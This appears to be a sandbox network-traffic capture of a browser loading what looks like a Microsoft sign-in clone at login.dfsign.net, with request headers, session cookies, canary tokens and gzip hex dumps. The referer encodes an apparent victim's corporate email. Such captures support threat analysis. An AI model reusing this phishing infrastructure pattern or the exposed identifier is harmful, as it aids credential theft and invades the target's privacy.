2025-01-07 13:48:50 UTC	546	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:51 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:51 GMT Content-Type: application/x-javascript Content-Length: 4885 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 22 Oct 2020 20:43:21 GMT etag: 0x8D876CB1D67B929 x-ms-request-id: 760cf0db-d01e-0068-4e9c-60a5c6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134851Z-1777998d8f92mpjqhC1DUSyqxn00000002ng00000000emwc x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:51 UTC	4885	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 5a 7b 73 db b6 96 ff 5f 9f 02 46 73 1d 32 a2 28 39 af b6 52 58 ad 1b 3b 5b df 6d e3 ac ed 4c 6f 57 52 32 b4 04 4a 4c 29 52 05 c1 d8 1e 4b df 7d 7f 07 00 45 52 56 da dc ee 6c 66 62 e1 79 70 de 0f 80 dd 27 07 ac f3 f5 ff d8 e5 d5 f1 c5 15 3b 7f c3 ae 7e 3a bb 38 61 ef d0 fb 8d bd 3d bf 3a 7b 7d fa f5 70 5a ad ab 45 9c b3 28 4e 04 c3 ef 75 98 8b 19 cb 52 96 49 16 a7 d3 4c ae 32 19 2a 91 b3 25 fe ca 38 4c 58 24 b3 25 53 0b c1 56 32 fb 24 a6 2a 67 49 9c 2b 6c ba 16 49 76 c3 1c 80 93 33 f6 2e 94 ea 8e 9d bd 73 7d 76 85 b5 99 8c e7 71 8a dd d3 6c 75 87 f6 42 b1 34 53 f1 54 b0 30 9d 69 68 09 3a 69 2e 58 91 ce 84 64 37 8b 78 ba 60 bf c4 53 99 e5 59 a4 98 14 53 11 7f c6 21 79 81 f1 e6 11 1e 0b a5 60 b9 50 2c ca a4 5a 18 3c 7c 76 49 Data Ascii: Z{s_Fs2(9RX;[mLoWR2JL)RK}ERVlfbyp';~:8a=:{}pZE(NuRIL2%8LX$%SV2$gI+lIv3.s}vqluB4ST0ih:i.Xd7x`SYS!y`P,Z<\|vI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49744	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:50 UTC	623	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.dfsign.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:48:51 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:51 GMT Content-Type: application/x-javascript Content-Length: 3921 Connection: close cache-control: public, max-age=31536000 last-modified: Tue, 28 Jun 2022 20:27:38 GMT etag: 0x8DA5944A4FF258E x-ms-request-id: de5dc99a-c01e-0053-1f95-6097dd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134850Z-15464c697c55w8cvhC1FRA51p000000002yg0000000048en x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:51 UTC	3921	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 5a 6b 73 e3 36 b2 fd 3e bf 82 46 b9 64 32 82 39 f2 66 93 dd 95 86 a3 f5 2b 3b ce f5 2b e3 c9 ce 56 c9 2a 17 45 42 12 c7 14 a0 80 a4 6d 5d 4b ff 7d 4f 03 24 45 c9 9e ca 24 f7 a6 32 36 89 47 a3 d1 38 7d ba d1 f4 ce b8 90 51 9e 28 e9 7a cf d5 a3 23 f0 a2 45 5e 68 e9 3e f9 a9 8a 42 6a f5 e7 5a e5 2a 52 e9 72 c9 98 e7 47 4a a2 dd 65 6f df 32 de 18 34 55 59 2e c3 99 58 2e b7 1a bd 55 2d 5e bb c2 7b 4e c6 f4 33 d7 8b e7 87 50 3b 3a 78 5b 77 bb fe f3 01 5f 79 b7 ee 5b 2e 03 ed 8b 27 11 b9 82 d6 cb 72 5d 44 b9 d2 7e ae 6e 72 9d c8 89 eb 79 3d ab a7 23 5b 2d e9 a7 42 4e f2 e9 fb 83 be 1c 1c 0c bb 8c ad b0 7e 34 a5 75 56 2b 3b 0e 6d f5 3a d2 15 5c 73 69 55 69 b5 b4 f7 2c 97 4b 57 04 02 f2 cf d5 a3 d0 c7 61 26 68 89 b1 d2 2e 29 99 07 Data Ascii: Zks6>Fd29f+;+VEBm]K}O$E$26G8}Q(z#E^h>BjZRrGJeo24UY.X.U-^{N3P;:x[w_y[.'r]D~nry=#[-BN~4uV+;m:\siUi,KWa&h.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49745	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:50 UTC	767	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1 Sec-WebSocket-Key: HYlbZLYFz+VvyeTpoSeSQw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:48:51 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:48:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d36f2e2b-a52b-4186-aa7c-2e6c27ecb100 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49746	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:51 UTC	536	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:52 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:52 GMT Content-Type: application/x-javascript Content-Length: 3921 Connection: close cache-control: public, max-age=31536000 last-modified: Tue, 28 Jun 2022 20:27:38 GMT etag: 0x8DA5944A4FF258E x-ms-request-id: b910c0e6-301e-000a-402f-60105e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134852Z-1777998d8f977q6rhC1DUSdegw00000003qg00000000pxxp x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:52 UTC	3921	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 5a 6b 73 e3 36 b2 fd 3e bf 82 46 b9 64 32 82 39 f2 66 93 dd 95 86 a3 f5 2b 3b ce f5 2b e3 c9 ce 56 c9 2a 17 45 42 12 c7 14 a0 80 a4 6d 5d 4b ff 7d 4f 03 24 45 c9 9e ca 24 f7 a6 32 36 89 47 a3 d1 38 7d ba d1 f4 ce b8 90 51 9e 28 e9 7a cf d5 a3 23 f0 a2 45 5e 68 e9 3e f9 a9 8a 42 6a f5 e7 5a e5 2a 52 e9 72 c9 98 e7 47 4a a2 dd 65 6f df 32 de 18 34 55 59 2e c3 99 58 2e b7 1a bd 55 2d 5e bb c2 7b 4e c6 f4 33 d7 8b e7 87 50 3b 3a 78 5b 77 bb fe f3 01 5f 79 b7 ee 5b 2e 03 ed 8b 27 11 b9 82 d6 cb 72 5d 44 b9 d2 7e ae 6e 72 9d c8 89 eb 79 3d ab a7 23 5b 2d e9 a7 42 4e f2 e9 fb 83 be 1c 1c 0c bb 8c ad b0 7e 34 a5 75 56 2b 3b 0e 6d f5 3a d2 15 5c 73 69 55 69 b5 b4 f7 2c 97 4b 57 04 02 f2 cf d5 a3 d0 c7 61 26 68 89 b1 d2 2e 29 99 07 Data Ascii: Zks6>Fd29f+;+VEBm]K}O$E$26G8}Q(z#E^h>BjZRrGJeo24UY.X.U-^{N3P;:x[w_y[.'r]D~nry=#[-BN~4uV+;m:\siUi,KWa&h.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49747	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:51 UTC	738	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:52 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:52 GMT Content-Type: application/x-javascript Content-Length: 116390 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A546E5C15E x-ms-request-id: 6cd45746-001e-0009-3eae-578685000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134852Z-1777998d8f9247cghC1DUSzcs000000013qg00000000cccp x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:52 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 63 88 8c f0 90 84 f4 30 93 04 0e 90 e9 e9 21 4c 1e 61 97 b1 12 23 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b 3b 3f 38 3d af 1d bf ab 9d ff e5 e8 f4 6d ed 04 ee 7e ad 7d 3c 3e 3f 7a 73 b8 7e 3d d8 28 fe 3b 9f f8 71 6d ec 4f 79 0d 7e af bc 98 8f 6a 61 50 0b a3 9a 1f 0c c3 68 16 46 5e c2 e3 da 0d fc 8d 7c 6f 5a 1b 47 e1 4d 2d 99 f0 da 2c 0a bf f2 61 12 d7 a6 7e 9c c0 47 57 7c 1a de d5 4c a8 2e 1a d5 4e bc 28 79 a8 1d 9d 58 2d a8 9f 43 6d fe b5 1f c0 d7 c3 70 f6 00 d7 93 a4 16 84 89 3f e4 35 2f 18 51 6d 53 b8 09 62 5e 4b 83 11 8f 6a 77 13 7f 38 a9 7d f0 87 51 18 87 e3 a4 16 f1 21 f7 6f Data Ascii: k[H(}[-cc0!La#ytkJ&^~_jW;;?8=m~}<>?zs~=(;qmOy~jaPhF^\|oZGM-,a~GW\|L.N(yX-Cmp?5/QmSb^Kjw8}Q!o
2025-01-07 13:48:52 UTC	14460	IN	Data Raw: a5 a5 e9 20 1c 3c f5 3a 93 4b 23 4d 58 59 50 b3 d8 2e 14 c6 f1 60 90 76 39 a2 ca 7d 0a c4 6c 46 7b 28 72 48 0c 1b 29 1f 49 83 69 74 84 3e 47 59 c8 42 9b f2 5b ca 68 89 5e 36 a7 a4 09 a8 17 38 0d 53 1c 3e 97 1c 1a 24 8a 0d 4a a7 01 d5 4f e2 5c ba e4 73 91 1d cc fc 76 23 bb 17 f9 48 55 e3 7b 1d 24 72 d5 75 be 53 62 b7 c3 d2 4d f8 e3 e1 9f 08 fe 94 d8 cb 4c b2 60 93 bb a2 08 85 dd c2 5c 74 9f 8e 82 c4 ee bd 3e 34 f9 4f b1 b5 a0 9d 4a e3 1e bb 1b c2 f5 c8 77 a3 be bf 97 52 70 74 4a 3f 90 30 df 82 5a d0 fa 7a 03 ab 1b c3 71 f0 37 c6 a2 a7 e2 09 4c c4 d8 f5 2d 06 8f 9b b6 66 24 5d 1b ff 14 d3 96 df 40 f3 44 2c e6 6f b8 f8 2d c3 e6 72 eb e7 a8 e9 ed a7 c2 1d 72 c3 23 61 49 df 47 b7 27 7f 63 23 57 eb 4e 51 19 3b 81 a7 93 3d af 3f d1 7a d7 44 92 9b fa 37 81 4e 4d Data Ascii: <:K#MXYP.`v9}lF{(rH)Iit>GYB[h^68S>$JO\sv#HU{$ruSbML`\t>4OJwRptJ?0Zzq7L-f$]@D,o-rr#aIG'c#WNQ;=?zD7NM
2025-01-07 13:48:52 UTC	16384	IN	Data Raw: 4f d6 d1 13 23 cf 7e 43 a2 a4 f8 40 81 d0 eb ed ef a4 19 d4 13 9a 23 4c 34 26 9e b6 98 f4 84 58 57 ad 30 76 87 61 89 82 62 0e 3f 1e 03 88 c6 82 f5 b6 0d 17 c6 c3 e4 0c b8 e4 1c 2e 3a 32 cb 04 4b 4e e7 d8 36 16 8d 28 bd 2a 1c 72 80 03 db de 25 25 05 3d 8b ba 70 32 f9 c8 ca 61 ed e2 18 f9 50 62 ec 22 ba c2 83 40 f9 16 12 9c 73 0d 67 03 9c d1 c3 03 ff d2 c3 43 8b 97 63 68 73 ad 08 7a fc 25 78 04 e3 8f ac d1 36 c1 4e 5a 2b a1 7e 74 2e 90 2a 39 e1 85 a3 01 6f 96 18 b2 63 f0 65 1b bc 39 5b 14 a9 1f 1d b4 ac 74 61 8d 88 94 51 c6 9b 58 0c 43 e9 c0 91 53 dc ff 6c 16 f6 a5 d9 cf 20 76 81 1a b6 b6 51 8b 9a ca 8b 2d 53 8d 1a 3f 51 8d 9a d7 ee b7 79 fd 22 ea 3c 78 e5 a9 c4 bc 9f f1 cc 3c 31 4a 5a 39 6a 12 b8 a5 31 97 79 00 73 c9 ad c7 24 b8 55 d8 db fc cb b8 f5 7f a9 Data Ascii: O#~C@#L4&XW0vab?.:2KN6(r%%=p2aPb"@sgCchsz%x6NZ+~t.9oce9[taQXCSl vQ-S?Qy"<x<1JZ9j1ys$U
2025-01-07 13:48:52 UTC	16384	IN	Data Raw: 56 a6 e0 18 af 3a 72 3a 16 f2 18 0d 30 a6 96 5c f1 8d ba 64 4d fd 91 e5 c1 2f 65 84 6d a1 dd a3 59 22 a5 de c3 f3 b0 a4 95 d9 e4 87 e7 be 54 c9 ef 6f 8b aa b8 7b b8 67 26 01 2a a5 50 1f 03 92 f2 f0 78 02 27 3d 10 e2 a4 69 8c 16 8e d3 a4 f9 22 2c c2 1f e3 e8 06 8e d4 a4 a9 80 07 07 aa 3a 03 ae 83 b1 01 b3 cb 60 6a 5c 5d 01 3c ae 05 1a b0 0b e0 b8 ae 99 93 45 79 fc 0b ea 26 24 4c d9 0d 7f 70 15 de 3e 9f 03 38 70 28 a9 7b 89 0e d3 af 92 02 0e 9f 73 ba cc c5 a5 b1 88 2e 1c 22 03 d4 a7 d5 29 60 19 66 88 2c 10 56 91 25 b5 a4 3e 9e 14 30 85 d5 0b 38 82 2e 84 df 64 69 af e1 d0 5e c3 38 47 7d 3e 96 6c 18 f2 78 89 11 79 1b 60 51 f1 fb 22 0b 93 1c 1a f9 bd a2 8f 49 05 d1 63 17 63 b3 1e 1e ae cd c2 9f 68 00 3f a4 27 ab fc 51 12 90 06 9a c5 46 5a c1 4b 0c 5c 5d 05 ae Data Ascii: V:r:0\dM/emY"To{g&*Px'=i",:`j\]<Ey&$Lp>8p({s.")`f,V%>08.di^8G}>lxy`Q"Icch?'QFZK\]
2025-01-07 13:48:52 UTC	2731	IN	Data Raw: 35 5f 88 9b 30 a1 44 ee 54 65 73 84 da 72 17 af 58 0b cf c9 61 09 58 ab 9b 2a a8 73 7d d6 d1 2e c5 1c 16 f1 67 57 56 a9 c9 ba b0 4c fd 17 04 d6 76 51 81 24 00 e6 e5 b3 d4 76 f7 15 3d 5a 58 e2 18 aa cd 02 fd a9 4a 2d 43 55 19 ea 85 f9 b7 d3 37 af 0d 05 0a c6 ea d9 74 da 14 7b 6f 1e bb 19 86 21 cf 3d 38 75 e6 17 25 9e 8d 1f 0a 77 50 0e 50 af 76 12 51 02 2e 64 dc 14 11 83 18 96 3c d9 c2 ca 4d 5f c6 4f a6 e6 27 0b bb 32 1d c8 df b8 59 4b b0 60 5e 02 55 c8 2c 56 cb 28 13 0a ad 52 3c 28 a8 66 3b f1 a7 36 01 5e a2 ee 1f 3d cb 84 63 fc 2b df 48 b9 db 37 79 40 6d 6f 53 4e 1d c1 be e8 b8 20 08 17 21 ae 30 9d 2f 44 94 1b c4 f2 e5 1b d3 ae 1b 3b 6c 7e 5f c4 3f 50 39 6e 4d ce 0a f8 a9 8c ca dc ec b7 e0 ac 6e dc 1b d3 f6 fa e6 c1 8c 56 8d b1 62 68 bb 5d 19 9d 9b f8 22 Data Ascii: 5_0DTesrXaX*s}.gWVLvQ$v=ZXJ-CU7t{o!=8u%wPPvQ.d<M_O'2YK`^U,V(R<(f;6^=c+H7y@moSN !0/D;l~_?P9nMnVbh]"
2025-01-07 13:48:52 UTC	16384	IN	Data Raw: 93 ea 16 20 43 75 58 1b 7a 79 c0 2a 3a 33 25 00 a4 8f a0 a2 48 34 13 4a d7 4d 06 58 68 6c e6 94 4c 00 12 d9 10 3e 0c 82 75 f0 c7 30 33 c2 fc c0 4f d2 69 12 91 82 9a 01 a7 95 b5 80 33 57 0b 3e b4 80 89 75 3c 33 ce 49 34 b4 f6 1e 59 f5 6a 78 8f 3b 9e a2 e7 a0 df 7c 97 6f 12 a3 5b c2 08 f4 db ab da 72 0a 33 82 01 5e d5 2f 3c 30 a5 5b 3a 1a a6 5e d6 02 c6 a0 55 e9 3c 2d 77 5e 1b 1a dc 20 8e 97 15 3a 31 83 d1 88 dd 64 d0 a0 7e 66 3a 3b 46 cc 95 f8 45 f8 e6 c1 7f 27 83 04 c1 12 59 3b 82 90 d0 69 c5 85 2e 4c d9 0f b3 56 b6 00 c4 78 0d 8f d3 6e e0 71 6a ac 01 f0 38 bb 75 1e c7 0a ab 65 c0 e3 9c 54 ca d6 f0 10 cc 3f 50 7a 27 1f f5 54 1a fe 25 80 2e 92 48 f5 fa 51 d5 77 96 a2 e2 22 ae bb bb 8b 48 e1 8d f7 3f 69 14 4b d8 ca 79 e6 ef 1f 02 d0 1f f9 8f 9f 14 31 b8 d9 Data Ascii: CuXzy*:3%H4JMXhlL>u03Oi3W>u<3I4Yjx;\|o[r3^/<0[:^U<-w^ :1d~f:;FE'Y;i.LVxnqj8ueT?Pz'T%.HQw"H?iKy1
2025-01-07 13:48:52 UTC	16384	IN	Data Raw: fd 80 0d 2b 23 a6 fb ad 90 d7 9f 8d cd aa 29 99 28 1d 62 3e 8a 87 02 1b b7 6a b7 cc 2a bd 0d a6 41 d8 ca 44 46 62 37 13 c9 76 74 83 8f 9f 6e 32 ac 97 05 6e 92 41 60 04 ce 51 ae 91 3e a2 2a bb 2c af b4 e4 8b d1 75 22 f4 3d 6a ac 08 7d e9 48 4f 09 7d 49 c4 9b 16 fa a2 6b e4 c0 1c eb 1a 19 eb 68 28 f8 9d a8 b6 b2 77 fc 24 60 23 f3 ad 15 8e e1 8c bb df 04 8c 06 30 45 d4 e0 8a 39 b2 50 58 b1 09 f4 a2 2f 70 c5 00 b8 9e 31 1a 1f 01 c5 c4 06 68 76 14 e9 69 c3 d8 41 cb 86 07 dc 46 6f 8c 33 eb 9b e3 b4 39 ae 03 24 38 95 9b e6 dd 62 e1 e9 7e da 1c 37 a0 c7 d2 1c d7 37 fd ee 9c 9b e3 fa 8a 65 18 13 6f fb 66 ca 5e 2c 56 5b 8d d9 94 dd 70 cc 45 39 cf f4 54 c5 ce 5d cb 37 f4 91 7e 53 98 22 07 47 09 60 a6 c7 37 ed 69 3e cf 26 80 dc a6 28 cd 1d a3 34 97 46 df 9d f6 d6 79 Data Ascii: +#)(b>jADFb7vtn2nA`Q>,u"=j}HO}Ikh(w$`#0E9PX/p1hviAFo39$8b~77eof^,V[pE9T]7~S"G`7i>&(4Fy
2025-01-07 13:48:52 UTC	16384	IN	Data Raw: d4 6c a2 31 e5 23 b3 09 07 6f 16 6f 8e 2c 39 d1 00 67 13 6b 2a 5f 01 d6 3c 81 83 19 06 09 e6 53 da 2a b3 52 eb 70 c9 60 58 87 c8 92 0b 23 de 91 79 87 99 15 df 9d 7e bc f8 f5 fc fa f4 c3 87 d3 3f ae 5f 7e 7a fd fa fc c3 f5 af 17 e7 bf 5d a1 ef 5b f6 97 27 ca 97 78 96 90 32 7a 01 e3 85 56 d1 f0 3b 25 fa 0e 1a 0e 57 92 2f b6 e7 68 e7 be 0a d0 03 45 e4 81 51 75 36 c7 ab e5 38 bd 22 e6 50 4b d9 1a 09 71 88 34 fa a0 bc 8b 02 be d0 26 d6 c7 55 24 43 51 27 6f 9f b8 8a 36 62 a8 6b bf f9 9e 3b da e3 b5 35 6e b4 d4 ee 1f 3b 00 87 04 69 f9 7e cf f4 bb 7d 00 42 94 d0 02 55 b0 99 39 64 0a 2d 34 e3 a4 14 d2 06 bd 49 de fc db a0 08 12 2f ad c9 01 e5 c6 c2 5d 14 25 a8 00 77 93 17 fb af 61 32 53 69 e6 8d e4 24 8c db d5 2d a3 6d 9d c0 28 fb 98 72 d4 ef 3a 0a 0e ef 53 46 0e Data Ascii: l1#oo,9gk_<SRp`X#y~?_~z]['x2zV;%W/hEQu68"PKq4&U$CQ'o6bk;5n;i~}BU9d-4I/]%wa2Si$-m(r:SF
2025-01-07 13:48:52 UTC	1702	IN	Data Raw: e3 56 ee 3a 90 05 da c4 2d d3 4f 15 80 f7 60 c3 48 16 c3 71 68 29 94 26 c3 8a ee 38 9e bd 5f 5a f6 fd d2 b2 ef 57 2f fb fe d2 b2 af 1e f7 2b 16 b5 bd 73 a8 49 a9 d4 ff b4 d1 70 df 19 9a ce 3f 21 76 78 ae 74 f4 84 5c 15 e5 3d de 4f ae 12 c3 78 3f bb 4a d8 e2 7d 70 a5 cc da fb bc b8 cf 1b c9 7f a5 ed cb 9f a2 4d b6 ac ff 2c 15 d1 7b 77 9a 38 44 bf dd c4 e1 37 18 37 50 5f 2a ec 1b 64 6f 0a 66 0e 94 f9 f7 5b 3a 14 47 ba f8 4b eb ee 2f ad bb a2 d6 5d d9 30 e8 4f 30 7d c9 fe 13 66 0a 7f 19 d6 fc 17 19 d6 74 36 b6 37 d9 b2 86 1c 71 4c a5 8b 8d 89 b4 a7 99 ad 30 96 59 69 06 fc 60 13 59 60 5c b3 a2 49 8c f0 80 e0 5b 3b ad c7 ad 8d 8e 74 c3 4b 9e 13 32 96 1a 02 f3 78 ce 8e 28 c5 20 90 15 8f aa 0d 51 54 de 3b 74 b7 91 87 8e 7c f4 25 a0 f4 64 23 a1 27 1b fa d1 92 9e Data Ascii: V:-O`Hqh)&8_ZW/+sIp?!vxt\=Ox?J}pM,{w8D77P_*dof[:GK/]0O0}ft67qL0Yi`Y`\I[;tK2x( QT;t\|%d#'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49748	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:51 UTC	1359	OUT	POST /common/handlers/watson HTTP/1.1 Host: login.dfsign.net Connection: keep-alive Content-Length: 5694 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: ee85291b-d42c-4604-ac80-bb2cfe8c29a4 canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe4qiQyyMlvrKIHLBBYDkwxZvWvTj4hateCrcnnDCCUwdM2_ElNeY28Q6Mu4rW8wLHV13TIFSzQMP04qvuSVfnRtq8Bt8cHdq76yjhfFl7456vrXHzPvMJSrPI0KvNIYyEihdRYo_z_ml9plwMtbwKMM4xjO6A9EZYKTePUSIU2aUFwV8VV7MgLdXteEvJ-R6TwyTbH35KCJx_aCEHwUg_rSAA Content-Type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 2101 sec-ch-ua-platform: "Windows" Origin: https://login.dfsign.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0
